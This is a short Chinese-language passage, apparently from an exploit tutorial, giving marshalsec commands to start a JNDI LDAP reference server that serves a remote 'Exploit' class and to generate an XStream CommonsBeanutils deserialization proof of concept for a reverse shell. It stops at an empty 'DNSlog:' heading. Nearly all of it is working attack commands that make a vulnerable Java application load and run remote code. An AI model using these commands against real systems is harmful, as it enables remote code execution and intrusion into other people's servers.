    或者直接:
    利用 marshalsec 生成反弹shell payload
    启动 jndi :ldap服务

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Exploit
    生存poc:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://127.0.0.1:1389/Exploit > payload.xml
    DNSlog:
